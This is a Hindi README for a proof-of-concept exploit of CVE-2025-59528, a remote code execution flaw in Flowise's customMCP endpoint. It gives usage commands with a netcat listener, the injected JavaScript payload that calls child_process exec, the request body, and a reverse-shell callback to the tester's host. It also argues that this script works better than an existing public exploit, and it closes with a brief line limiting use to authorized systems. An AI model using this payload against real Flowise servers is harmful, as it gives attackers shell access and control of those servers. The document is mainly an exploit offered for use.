Version française

CVE-2025-59528 प्रूफ ऑफ कॉन्सेप्ट

अधिकृत वातावरण में भेद्यता के तकनीकी सत्यापन पर केंद्रित न्यूनतम PoC।

पूर्वापेक्षाएँ

• आपके पास लक्षित Flowise डैशबोर्ड पर एक उपयोगकर्ता खाता होना चाहिए।
• आपके पास उस खाते से जुड़ी एक मान्य API कुंजी होनी चाहिए।
• PoC चलाने से पहले आपको अपने कॉलबैक होस्ट पर एक लिसनर शुरू करना होगा (उदाहरण: nc -lvn 4444)।

उपयोग उदाहरण

पहले लिसनर शुरू करें:

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

मानों को अपने अधिकृत वातावरण की सेटिंग्स से बदलें।

CVE सारांश

• प्रभावित उत्पाद: Flowise
• प्रभावित संस्करण: 3.0.5 से कम
• प्रकार: रिमोट कोड एक्ज़ीक्यूशन (RCE)
• प्रवेश बिंदु: POST /api/v1/node-load-method/customMCP एंडपॉइंट

समस्या इस बात से उत्पन्न होती है कि inputs.mcpServerConfig को कैसे संसाधित किया जाता है: इस मान की व्याख्या इस तरह की जाती है जो सर्वर-साइड JavaScript निष्पादन की अनुमति देती है। व्यवहार में, एक प्रमाणित हमलावर एक ऐसा एक्सप्रेशन इंजेक्ट कर सकता है जो child_process को कॉल करता है और एक OS कमांड चलाता है।

शोषण तंत्र

शोषण प्रवाह इस प्रकार है:

1. customMCP एंडपॉइंट पर एक अनुरोध बनाएं।
2. mcpServerConfig में एक दुर्भावनापूर्ण JavaScript एक्सप्रेशन रखें।
3. process.mainModule.require('child_process') ट्रिगर करें।
4. एक OS कमांड (exec/execSync) निष्पादित करें।

यदि स्वीकार किया जाता है, तो सर्वर कमांड को अपने सिस्टम संदर्भ में निष्पादित करता है।

यह PoC कैसे काम करता है (poc.py)

स्क्रिप्ट चार तर्क लेती है:

• -d/--domain: लक्षित डोमेन
• -lh/--host: कॉलबैक IP
• -lp/--port: कॉलबैक पोर्ट
• -A/--api: Bearer API टोकन

फिर यह:

1. भेद्य URL बनाती है: http://<domain>/api/v1/node-load-method/customMCP
2. Authorization: Bearer <token> हेडर जोड़ती है
3. एक कॉलबैक शेल कमांड तैयार करती है
4. उस कमांड को एक JS एक्सप्रेशन में इंजेक्ट करती है:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. यह JSON भेजती है:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<injected JS expression>"
  }
}

6. सत्यापन के लिए HTTP स्थिति और कच्चा प्रतिक्रिया प्रिंट करती है।

यह PoC बेहतर क्यों है (EDB 52440 की तुलना में)

EDB PoC की तुलना में (जो ईमेल/पासवर्ड लॉगिन करता है, ब्राउज़र-जैसे हेडर का उपयोग करता है, और एक फ्री-फॉर्म --cmd चलाता है), यह स्क्रिप्ट शुद्ध PoC सत्यापन के लिए बेहतर है:

1. अधिक सीधा: कोई लॉगिन प्रवाह नहीं और कम अनावश्यक HTTP शोर।
2. कम टूटने की सतह: फ्रंटएंड/ऑथ कॉन्फ़िगरेशन से जुड़े कम चरण।
3. CI-अनुकूल स्वचालन: सरल तर्क और त्वरित आउटपुट।
4. स्पष्ट सत्यापन: स्थिति + बॉडी तुरंत प्रिंट होती है।
5. मुख्य CVE पथ पर केंद्रित: mcpServerConfig इंजेक्शन और सर्वर-साइड निष्पादन।

संक्षेप में: EDB स्क्रिप्ट एक अधिक सामान्य आक्रामक डेमो है, जबकि यह PoC तकनीकी पुनरुत्पादन के लिए अधिक लक्षित है।

वर्तमान सीमाएँ

• मानता है कि एक मान्य API टोकन पहले से मौजूद है।
• कोई https मोड या प्रमाणपत्र हैंडलिंग नहीं।
• कोई रीट्राई/बैकऑफ़ लॉजिक नहीं।
• कॉलबैक कमांड हार्डकोडेड है (अभी तक --cmd के माध्यम से पैरामीटराइज़ नहीं किया गया)।

जिम्मेदार उपयोग

केवल उन सिस्टमों पर परीक्षण करें जिनके आप मालिक हैं या जहाँ आपके पास स्पष्ट प्राधिकरण है।